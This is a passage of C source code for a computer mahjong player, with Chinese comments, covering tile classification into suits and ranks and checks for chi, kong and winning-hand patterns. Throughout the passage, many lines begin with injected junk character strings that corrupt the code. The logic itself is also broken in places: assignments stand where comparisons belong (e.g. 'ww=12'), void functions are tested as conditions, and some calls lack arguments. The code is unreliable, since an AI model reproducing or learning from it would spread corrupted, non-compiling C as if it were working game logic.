$ |# _2 W2 j/ l: i* c7 t}
& G5 {1 t3 Y8 _4 S# S}
if(pg==3) /*杠*/
2 E$ k" W0 B7 g* ]7 ~9 W: r$ b7 ]{

sing=2;
( A+ L; h) `5 B' r5 w0 Pb=computer.m;
- L* S! V  R( T3 `, ~, iwhile(b!=-1)
; Z* t5 a2 G6 @! d& F- F5 ^{
if(strcmp(me.pp[c].k,computer.pp.k)==0)
6 f9 I# c9 T$ U2 Y2 n8 Q2 V2 C0 Ccomputer.pp.g=1;
) \. `3 @" G+ jb--;
}
" |7 Y; R& }( Z# V$ s}
f=0;
1 `) t) u+ Z, ~& C: W& F' {. B9 @while(f&lt;computer.m) /*吃的判断*/
{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)
{
if(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/
if(ch[f].lgg-logoo==1)
{
gp++;
4 w8 U) p/ F* L9 g% g8 l& Mcomputer.pp[f].c=1;
7 K6 ~. H4 ?0 z2 a1 Scomputer.pp[f+1].c=1;
}
if(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/
6 S0 H* K* y1 ]if(ch[f+1].lgg-logoo==-1)
{
gp++;
! j' l% i5 m$ P5 P* Y2 f% B$ Dcomputer.pp[f].c=1;
computer.pp[f+1].c=1;
5 V) G. N9 ]* d  V. i}
' V) w; N! V( E, H4 fif(ch[f].lgg-logoo==-1) /*中吃*/
/ K# b- b' Y) M' F& Yif(ch[f+1].lgg-logoo==1)
6 Q/ e% R7 y8 q2 ]8 t0 m( b! D{
gp++;
computer.pp[f].c=1;
computer.pp[f+1].c=1;
- ?2 c; u; i/ X% O}
! V+ P7 q. G% s8 F. Y0 k: lif(gp==1)
% @, ]6 T. C( Sbreak;
}
. W  }( R' e1 \3 a" S7 O: E, V* sf++;
! C4 }1 p* Q- S$ V6 `: p4 |}
& N) ^* _  C. J% Pif(gp==1)
$ b- o0 ]2 i% B& v{sing=7;

$ J, C! N6 b' g  P/ t& B  w}
pg=0;
gp=0;
$ B+ N# N! S! {1 D7 X* ]b=0;
0 z8 |; Q, i' [8 m) n}
void rgznme(int c) /*本程序涵数的核心针对我的牌*/
+ N$ [7 _/ @1 I6 Q: u+ A{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
6 N! e2 s: }& {: Vif(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)
{
$ ?9 h: ?* b! \, I1 w6 ^4 O% [logo=1;
& e2 _+ h' q! ~& B# G1 k$ G( k# hif(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)
  m& g) T- A. ?/ A0 a& d) S3 Nlogoo=1;
else if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)
logoo=2;
else if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)
logoo=3;
* [! I/ t+ |- K8 v4 K2 D4 Kelse if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)
* }8 r$ Q( h# \: c) ulogoo=4;
else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)
* X8 x: ?; b3 D" u. r- alogoo=5;
. U+ f# D( g  o9 lelse if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)
logoo=6;
else if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)
logoo=7;
else if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)
logoo=8;
: D9 c8 m+ y$ v6 Uelse if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)
5 `8 A1 |2 [. h2 y9 f3 Dlogoo=9;
; X6 z! f% [4 A}
( C  t- C# j' {6 f! J  f6 eelse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)
{
logo=2;
6 c8 x3 V/ D& T9 s: f$ oif(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)
' `7 y" R. m0 j3 }; J4 D0 F+ dlogoo=1;
else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)
logoo=2;
else if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)
' H3 m: T3 v0 x# X& \6 llogoo=3;
else if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)
logoo=4;
else if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
8 T3 G* C! W3 n6 c; Tlogoo=5;
( ?7 g0 ^- b( Z! W. pelse if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)
) _; q6 q* Y; S- G" X# o  w  d! m! Mlogoo=6;
else if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
logoo=7;
2 i- P2 _! A5 n) w/ Eelse if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)
logoo=8;
1 @# w: K( m  G) welse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
logoo=9;
}
; ~  B, V# d& L4 ]else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)
{
logo=3;
if(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)
' I/ F& G6 [9 g' ?logoo=1;
- g3 e7 j3 M. c6 d" p0 |3 T* felse if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)
+ }, w+ O/ G9 n( d7 z" nlogoo=2;
+ p3 I5 H  I5 T0 |else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)
! O! M# Z- k/ [0 L4 [% G3 llogoo=3;
else if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)
logoo=4;
7 G+ N0 T9 k4 ~0 ^, delse if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)
) K# D2 d: J) T5 ylogoo=5;
else if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)
logoo=6;
else if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)
logoo=7;
& S' g5 s0 ^& ~2 F1 V" Jelse if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)
logoo=8;
1 T3 D) n  {! ^/ b4 r& xelse if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)
logoo=9;
* ]% K( m8 X# d) q- j( f0 K" B& V}
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)
{
logo=4;
6 X1 g: [& S8 _. `# `2 d# \0 _) h# bif(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)
logoo=1;
! ^% y7 N0 N3 |, _& H" ^1 ?0 ielse if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)
logoo=2;
else if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)
4 h4 C* |# T: V' o/ z' ]7 Z' ^logoo=3;
else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)
logoo=4;
( B6 G( v' t) [else if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)
logoo=5;
else if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)
logoo=6;
5 L0 Z2 b; t4 `else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)
logoo=7;
& U# e; h) u2 N4 e' J. s9 C}
6 V3 c* r% i! A, S. Vwhile(b&lt;=me.m)
) G- F* O: v5 P/ {" I- O; u+ d% b{
0 v; x  D% o2 z- h; [- w2 k0 Lif(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/
3 A% ^2 ]! ~" a! L7 e# ?( r7 k{
lg=1;
6 ]1 ~9 f0 W1 s) ]' \8 ime.pp.d[0]=1;
' Q4 q9 |5 n% ?/ \7 p: Mif(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)
{
lgg=1;
) Q; x; a; M9 `+ h; b; }8 Gme.pp.d[1]=1;
3 m! R: C5 n0 q4 x$ {/ q0 F}
+ {* q. J0 b3 i% I/ C( m- selse if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)
. `) x" l7 n1 d0 ^{
! w& y' h- z) {lgg=2;
# B4 r8 A6 D. }, Mme.pp.d[1]=2;
}
9 u  P) M5 _* K3 n' {else if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)
3 K8 P& z: o. a{
lgg=3;
3 l0 V# d) ^9 z9 Qme.pp.d[1]=3;
}
& S: i# I0 |! telse if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)
{
' A+ m2 _5 M3 Z7 T$ |( m+ t; zlgg=4;
3 A( |, V# ~; d* ?) p. tme.pp.d[1]=4;
1 u7 U; ]" z1 o' c}
' z1 @# D/ ^# o" Helse if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)
{
# f/ Q3 I2 n7 f1 g8 Z) Z3 M1 llgg=5;
3 n$ I. ?% M8 m4 E/ V4 J4 D) gme.pp.d[1]=5;
}
else if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)
- H" D3 f# y2 x; ~. j{
1 v' v6 T% b/ z- F) k0 ]( Algg=6;
me.pp.d[1]=6;
}
7 D$ A; c  |* h7 p0 @) Z. x5 D% Zelse if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)
2 M, h1 |  \$ E. R" [; l! ^{
4 V) p8 M/ E7 ^5 d% r" Glgg=7;
me.pp.d[1]=7;
: l8 a% w& j4 o; b5 {}
  G! E3 M- z: z4 l0 Ielse if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)
8 J2 e9 A+ Q" S6 H{
+ a, x  X  n6 E3 e+ A# [0 }lgg=8;
6 }7 e$ o0 a  r; L0 R) Nme.pp.d[1]=8;
9 X5 n: `& @" a% N9 E$ C}
else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)
{
' T+ r+ h7 e. Y3 p1 U3 ]lgg=9;
% Y/ v/ [5 m1 H. G0 [me.pp.d[1]=9;
}
4 k+ I7 B/ S2 V6 i$ H: y}
  w4 \/ a7 B: Gelse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)
{
lg=2;
0 }( ?* s  @3 {: n2 l4 ~me.pp.d[0]=2;
if(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)
{
lgg=1;
me.pp.d[1]=1;
, K" a9 p* Q" F# d( U; \}
- m3 R6 n; a- \3 [+ W3 uelse if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)
0 U5 G/ O0 Y$ M! ]5 I2 R7 K% _{
lgg=2;
6 w6 E9 U5 D+ \: I; ]) w7 J' ^me.pp.d[1]=2;
}
else if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)
/ G# c: {: N2 Q; ]{
lgg=3;
me.pp.d[1]=3;
7 D5 {* b' I- Q& b) v" S4 O# ~}
; K# h& u! H5 P! d5 \6 k  p, W6 velse if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)
{
* |6 e6 `" r2 U0 h4 xlgg=4;
4 L0 \1 n. l+ G7 V% [me.pp.d[1]=4;
8 ?4 z6 M) E' {! i, d}
) p" m& g6 W. c+ i; `3 W- n/ F" f3 O% Selse if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)
# e! j: c0 {) L$ Z. J4 G: o{
lgg=5;
7 _/ r4 J( F8 Ome.pp.d[1]=5;
}
8 s& t+ G! C" f8 F- |- V# selse if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)
# J. l; b) U1 w; V{
lgg=6;
me.pp.d[1]=6;
}
else if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)
{
lgg=7;
4 Q+ z, G% j7 O, t% _3 fme.pp.d[1]=7;
}
else if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)
+ T5 [" r; X; y{
lgg=8;
me.pp.d[1]=8;
}
5 u! j; h& K8 R# w: o& ?  m) helse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)
- _0 H; c8 h( t" f1 R{
lgg=9;
+ `8 f8 M! y. L( l/ h  Q& `. wme.pp.d[1]=9;
# q( _7 V9 _& a& U% n}
}
# n1 ~/ I" c: m1 E' K" ]else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)
( G1 x1 V0 R6 \; L6 Y{
lg=3;
9 o1 i8 V, K) \3 D! X3 ~me.pp.d[0]=3;
6 S1 f6 h# p8 M0 n% S  Q- Dif(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)
. b. V0 o8 V- v% N{
lgg=1;
me.pp.d[1]=1;
}
else if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)
$ Z  A" b" G, t: n1 N5 ~{
lgg=2;
me.pp.d[1]=2;
" |6 X" a8 P+ l# }}
else if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)
. O0 x( _% W, O1 v6 ~; i{
/ \, B/ |. m8 x4 x' G6 o5 h+ }lgg=3;
) ^# H3 U, x5 u1 J$ ?' n5 u3 ?me.pp.d[1]=3;
- k; t* J1 O" c0 r7 ?. U}
else if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)
{
7 B$ n( J# n* A# P% B! h. dlgg=4;
me.pp.d[1]=4;
% `+ x! n5 I# O' @1 ^1 n}
else if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)
0 r9 W8 j6 }# G  Q/ ]{
lgg=5;
+ \5 O$ ^+ a6 F+ Ume.pp.d[1]=5;
& c* L& m$ n( D& _}
else if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)
{
lgg=6;
me.pp.d[1]=6;
}
else if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)
{
- H0 e6 z# e) v2 s9 R. Llgg=7;
' w. y5 r' T' l  Xme.pp.d[1]=7;
+ i6 i/ {; Q" U" n' _}
else if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)
{
lgg=8;
% Y3 R. O  D. P2 q, \me.pp.d[1]=8;
' j+ I1 ~5 b! S, w3 Y7 E6 K}
/ F; D' P2 m, o8 p' Velse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)
5 J% ], z* [; p6 C# ]7 m* E{
; x, b3 G! }9 c; d' {2 W% e; ^lgg=9;
+ e8 O+ f5 q/ [& T3 |* ~, pme.pp.d[1]=9;
}
}
2 F0 y1 I6 ?2 Z7 R1 Belse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)
{
lg=4;
me.pp.d[0]=4;
) m- w; M: f# u2 Hif(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)
{
* m( j& s' q6 p) @6 _lgg=1;
$ R  h1 q7 a% ~7 i$ y  pme.pp.d[1]=1;
}
) v# Z. I! E% H2 i0 delse if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)
+ B1 @7 z( ]6 b7 P: F9 X{
lgg=2;
5 T, t! n( X: a# Kme.pp.d[1]=2;
}
else if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)
0 E, R8 s- L/ n' G+ @{
lgg=3;
me.pp.d[1]=3;
+ {/ Y0 I7 v' h+ {/ i' T}
else if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)
! Z& N7 B: `! @: `! M{
lgg=4;
/ U: }& h- A8 }% F6 sme.pp.d[1]=4;
$ U( b# t% Y8 ?4 w% ]1 t6 n9 s}
$ A: _1 ]4 I, `else if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)
{
lgg=5;
me.pp.d[1]=5;
}
else if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)
% @+ o; u/ O, R4 F& f) o1 C2 ]* h{
, d1 r" G9 [. _% A2 dlgg=6;
me.pp.d[1]=6;
}
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)
% A) @! s: c3 w{
. h/ \* l& q6 w0 j, m/ wlgg=7;
me.pp.d[1]=7;
}
' s5 n/ b8 P$ z: ?}
}
& u* ^' S% u) Y$ l}
  ]" k, H8 N" y1 j" L+ Q) Dvoid istwo(testt)
int testt[];
% b2 F0 a$ o/ ]* [6 e+ g' v{ if(testt[0]==testt[1])
3 ?/ Z2 V5 @1 k$ C& L$ Jsecond++;
}
void isthree(testt,n)
* S6 a* `/ A: V. Y' K$ U- Fint testt[],n=0;
{ int i,j,flage=0,lianx=0,same=0;
( G9 U' `; B8 I# N  nn=n/3;
# x+ U! b+ s6 [; I; N' Sfor(j=0;j&lt;n;j++)
8 b5 ]) t/ @' k+ g8 t8 u: `{
for(i=j*3;i&lt;2+j*3;i++)
{
if(testt==testt[i+1])
same++;
6 A/ Z8 \6 I5 U* L  r/ _$ n. G5 v. Kif(testt[i+1]-testt==1)
lianx++;
1 p3 ^5 V* i3 V( S}
if(same==2)
threes++;
) s( v! t+ P6 s! Q4 a5 V: ?! s* Kif(lianx==2)
9 M+ V! l3 z) t8 @* }threes++;
# j4 g; a2 \# k% Isame=0;
lianx=0;
}
}
4 y5 {* c4 Z) l- Hvoid panduan() /*本程序的精髓*/
{int data[14];
! i1 K3 F5 ^$ _8 Q4 _: {7 ^" Xint pw[14];
5 B* r8 _+ J4 I: @int pt[14];
' ^9 J& q$ }: j/ E  r" G' Yint pi[14];
' }3 \5 \9 R& [- t$ mint pf[14];
) J8 J8 R# s. y6 Sint test[12];
int jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;
6 f& l6 |7 F. R0 N, q! F0 J0 cfor(jj=0;jj&lt;=me.m;jj++)
6 P- Z; m% j4 G4 H! g{
, x. c) R5 `1 `- Q& f9 Oif(me.pp[jj].d[0]==1)
" I) r. _2 M; a  hdata[jj]=me.pp[jj].d[1];
if(me.pp[jj].d[0]==2)
- \1 k, r' w" \2 b3 E& D9 P+ ndata[jj]=me.pp[jj].d[1]+10;
if(me.pp[jj].d[0]==3)
data[jj]=me.pp[jj].d[1]+20;
' g4 ~. n6 a  Y2 D8 H% q( I$ I& X3 Yif(me.pp[jj].d[0]==4)
data[jj]=me.pp[jj].d[1]+30;
}
if(logo==2)
" C+ e$ ]) G) c9 q" {( r0 `w=logoo+10;
if(logo==3)
w=logoo+20;
, o) v' h0 ]; q( U' B# Dif(logo==4)
w=logoo+30;
8 S& {0 k0 j  E& Fdata[computer.m+1]=w;
for(mm=0;mm&lt;=computer.m;mm++)
for(nn=mm;nn&lt;=computer.m;nn++)
if(data[mm]&gt;data[nn+1])
  w# ]' U$ A' t{
tpp=data[mm];
data[mm]=data[nn+1];
data[nn+1]=tpp;
}
. ?5 C. w; \4 Vlp=0;
while(lp&lt;=computer.m)
$ X; X& x. d, U: L) v4 g+ Z{ if(data[lp]&lt;10)
pw[ww++]=data[lp];
if(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)
( r" [) ?" _; N) @) spt[tt++]=data[lp];
if(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)
4 _, j3 a8 K& v- m: t: r' ipi[ii++]=data[lp];
if(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)
# G4 k. ~. k+ S; Q) ~% R9 Cpf[ff++]=data[lp];
lp++;
% b5 R: m. Q) m5 |5 o& U5 W1 b}
if(ww==2)
istwo(pw);
5 a7 X% t7 F, U( Q9 k( Welse if(ww==3)
isthree(pw,ww);
else if(ww==5)
/*pw[5]原始牌数组，假设已经升序排列*/
2 ]# o  b" o7 ?& Q/ }  y/*test[3]用来放置测试牌的数组*/
for(i=0;i&lt;4;i++)
7 B, F# \  S! B# u. ?{
for(j=0;j&lt;2;j++)
# n& U; I1 {+ W$ N; F5 u{test[j]=pw[i+j];
1 [- A( |1 n$ L4 a( k) N}
if(istwo(test))
* L8 @; ^! c2 N' M& `. B{ ill=0;
9 z7 O+ V; m! ]/ B. \2 [0 S& j' Ifor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
7 S9 A' j2 K+ N% w: f{if(kl==i)
/ l0 r3 l. ^- K. ~& d{
$ F1 L- @) {3 ]! G; a( R2 z1 ?kl=kl+2;
1 M6 v% G  w3 P1 ~) E  ^* Dif(kl==5)
break;
4 {8 _: c; ?1 W}
test[ill++]=pw[kl];
}
2 i) f6 t) o( n: g7 k! Tisthree(test);
6 W! E' a* O" G}
}
else if(ww==6)
7 n  ]2 w% a, Gisthree(pw,ww);
else if(ww==8)
for(i=0;i&lt;7;i++)
! u* j1 T" k' ^- t{
4 k  ?& J0 {8 k: ~for(j=0;j&lt;2;j++)
; N4 P6 h. G; i/ X{test[j]=pw[i+j];
) f4 m3 Z7 ?( w: t7 N  v: Z( `9 W8 b}
, q' s- j* e2 H6 _/ x% Eif(istwo(test))
{ ill=0;
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
{if(kl==i)
& B- \% k5 ]- D2 d1 c4 |  y{
) O+ s6 Y1 u5 A4 W0 K5 F$ \kl=kl+2;
/ i4 a' s, e& Z+ h+ E5 jif(kl==8)
break;
% n! d/ A% T! B6 j$ C}
* `# b% ~* m" B* Z% ^9 Q0 wtest[ill++]=pw[kl];
( Y+ V. V# Z! a' o}
isthree(test,ww-2);
7 S# z1 c  E0 B3 g. ^2 g' y3 b+ Y}
3 S2 H5 @# R, f, F0 j}
# p/ W  Q# x7 G7 \4 Helse if(ww==9)
isthree(pw,ww);
/ R- R  U1 D: a: helse if(ww==11)
for(i=0;i&lt;10;i++)
8 o9 X/ \0 D' }3 X5 n' S{
for(j=0;j&lt;2;j++)
{test[j]=pw[i+j];
}
if(istwo(test))
7 _7 F! S+ }3 ?3 N, u{ ill=0;
/ `3 T) p6 Y+ `4 |' F, Z& Y1 ]for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
, I; c8 Y0 q. B9 n- g* |{if(kl==i)
9 E/ G' R8 \- E6 t6 c{
$ t1 L7 @0 b* ]" S, u: z0 w# Jkl=kl+2;
if(kl==11)
break;
/ y% S4 g" ^6 e& ]5 i}
' z% ~7 n) ?! E- ~2 R  ?9 j& p6 ytest[ill++]=pw[kl];
+ P2 M: ~% }  g0 V5 _% Q}
isthree(test,ww-2);
}
' O; K& `2 A( Y. I3 y7 _' ~7 R/ J}
else if(ww=12)
* k! |9 F( R1 v/ U, X6 C+ _isthree(pw,ww);
  l4 g3 R- h  belse if(ww=14)
( a9 @9 s3 i6 V! Jfor(i=0;i&lt;13;i++)
" S  L4 k9 d; M2 ?6 p: M( T0 W. z{
for(j=0;j&lt;2;j++)
8 y* o) X: i  F' H& ]{test[j]=pw[i+j];
}
8 C* I9 B; S" n  a/ tif(istwo(test))
{ ill=0;
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
% }( |8 P7 P* O7 [/ n{
kl=kl+2;
5 W& }8 F( ~9 d+ `if(kl==14)
break;
}
7 G. c" C9 l  M$ B, M  n" stest[ill++]=pw[kl];
8 P$ P! f' u' U+ U- B}
isthree(test,ww-2);
0 G- _& K, a& @% k: _}
}
if(tt==2)
istwo(pt);
else if(tt==3)
isthree(pt,tt);
else if(tt==5)
& G5 ]3 ?, j* o, o/*pt[5]原始牌数组，假设已经升序排列*/
/*test[3]用来放置测试牌的数组*/
for(i=0;i&lt;4;i++)
{
4 E, D. R1 n/ R) S3 wfor(j=0;j&lt;2;j++)
5 E. Y) f6 w' y- Z  E{test[j]=pt[i+j];
}
! f$ p  f$ R5 C' c  [4 kif(istwo(test))
{ ill=0;
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
{if(kl==i)
{
kl=kl+2;
3 ]0 L( Z! ~: E$ y  s( Qif(kl==5)
& u, p# ~+ B+ j% w0 n& {8 v) Ybreak;
; ], Q+ C9 x( o0 g; K+ |9 K}
0 K0 I- \3 j3 g) p/ K; Itest[ill++]=pt[kl];
}
isthree(test);
}
}
, [4 F4 k0 r5 A3 h5 X9 [else if(tt==6)
. K/ f' U% A" [) j$ ?7 Eisthree(pt,tt);
else if(tt==8)
for(i=0;i&lt;7;i++)
{
for(j=0;j&lt;2;j++)
) l. V- l$ G/ ?4 U; n# f- Z$ Z- B{test[j]=pt[i+j];
}
if(istwo(test))
{ ill=0;
- D; q& h, P7 Z2 o, C! Lfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
4 I  m# ^9 @# g0 x* u8 ?- [{if(kl==i)
{
1 k7 ^5 B- `. Z3 l# K; Dkl=kl+2;
  J3 N5 |# r8 [$ E+ k. t1 fif(kl==8)
break;
}
test[ill++]=pt[kl];
}
isthree(test,tt-2);
" u, W8 D2 _1 {* L}
}
else if(tt==9)
+ c( t8 ~6 \0 F& ~% K& \8 n: {isthree(pt,tt);
else if(tt==11)
) R4 a& H1 W" N, i* ~for(i=0;i&lt;10;i++)
% E, y. l% K2 Y/ F6 a7 Z{
for(j=0;j&lt;2;j++)
{test[j]=pt[i+j];
}
( Q6 \$ f& j! q9 I& _8 P4 \if(istwo(test))
& {7 V3 {7 K! B$ ~$ G{ ill=0;
  ^1 V6 i+ k5 B0 n) P4 Yfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
4 w) X0 c! \& I9 g{
6 f% k$ m' H3 Q6 w+ Skl=kl+2;
if(kl==11)
! }, z) s* a4 B! J$ abreak;
0 S3 U) P7 Y, {4 N% j}
+ e4 Y% T4 D9 _2 w  Wtest[ill++]=pt[kl];
}
isthree(test,tt-2);
7 R, }7 y, N& l8 f9 I! a) ?$ n0 g7 t}
}
else if(tt=12)
isthree(pt,tt);
else if(tt=14)
for(i=0;i&lt;13;i++)
$ ^2 Z) v+ A* C: K{
for(j=0;j&lt;2;j++)
{test[j]=pt[i+j];
}
3 U# G$ {$ o7 qif(istwo(test))
{ ill=0;
" a7 Q/ V3 ^, g" mfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
" K7 ^; J- M- v; ^{if(kl==i)
{
1 Z4 j5 Q9 x/ X) }/ nkl=kl+2;
if(kl==14)
5 [6 {* J, g7 q5 z, Lbreak;
}
8 K, g- l6 M5 ?9 U7 htest[ill++]=pt[kl];
}
isthree(test,tt-2);
5 G- Q( i8 q& ]2 B}
}
if(ii==2)
; k: |' l) e2 bistwo(pi);
else if(ii==3)
, o+ x$ A* r* L( d* y, qisthree(pi,ii);
else if(ii==5)
/*pi[5]原始牌数组，假设已经升序排列*/
! I1 `0 o( j+ n' Q0 X  R/*test[3]用来放置测试牌的数组*/
for(i=0;i&lt;4;i++)
{
for(j=0;j&lt;2;j++)
3 g; H9 r! h' v; Z{test[j]=pi[i+j];
}
if(istwo(test))
{ ill=0;
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
{if(kl==i)
{
- u; Z% Y6 _* j. O. |kl=kl+2;
) h: K: o3 s/ H4 |4 rif(kl==5)
break;
}
# [+ s* a  M! u# l1 ?: Xtest[ill++]=pw[kl];
: J2 L2 s* b- n9 Q$ L* Z}
isthree(test);
}
  l" ?# g5 Y; [5 W# @% I( T6 d$ W}
) E) U$ [/ B6 g& c1 Selse if(ii==6)
  p3 q7 P5 `$ o  |isthree(pi,ii);
else if(ii==8)
# \3 J; a, X2 w0 M' T: N  ~for(i=0;i&lt;7;i++)
& J2 u  u6 Y, X* l{
- B- P6 z* m; xfor(j=0;j&lt;2;j++)
0 `$ u, R; Q4 J: k% {- b2 x* w{test[j]=pi[i+j];
8 h) r  H0 z* _8 a& \/ s}
if(istwo(test))
{ ill=0;
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
{if(kl==i)
{
kl=kl+2;
$ D6 M  l+ Y2 K, L4 A. Bif(kl==8)
break;
5 t9 H  h3 X, g4 b6 _3 a' S( E& t}
test[ill++]=pi[kl];
}
% Q. g. [* l1 visthree(test,ii-2);
}
4 Y% s" z) {: N4 M% ^}
else if(ii==9)
isthree(pi,ii);
2 R1 `, K# [: Z2 g1 a2 D5 yelse if(ii==11)
! E+ T+ g) B( j% kfor(i=0;i&lt;10;i++)
{
for(j=0;j&lt;2;j++)
2 U; n! j4 Q, E' d{test[j]=pi[i+j];
0 ~, r( w  M) r8 [& q& i}
# q/ Q; G" ?0 o" fif(istwo(test))
{ ill=0;
3 P4 E' z, R  ?. @for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
. _  R- _5 ^$ N3 b{if(kl==i)
{
kl=kl+2;
if(kl==11)
2 d5 p0 J" C, Y# j' Z/ w4 kbreak;
}
test[ill++]=pi[kl];
; v8 r' _! M& Z/ l9 w: _8 J}
+ P/ i, D' d6 _+ S4 T6 {isthree(test,ii-2);
: q; j, k, p3 R7 {7 I" ]( I}
}
( I- }3 `: e$ @& y7 W5 melse if(ii=12)
  a0 [# y' ^: |0 G3 |4 w- K. S' iisthree(pi,ii);
: `. Y  W* m. ]else if(ii=14)
* G8 O* [" Y9 A2 q3 ~for(i=0;i&lt;13;i++)
{
for(j=0;j&lt;2;j++)
{test[j]=pi[i+j];
4 ^$ P  E! A: Z4 ~; _; r" H* F9 `! {}
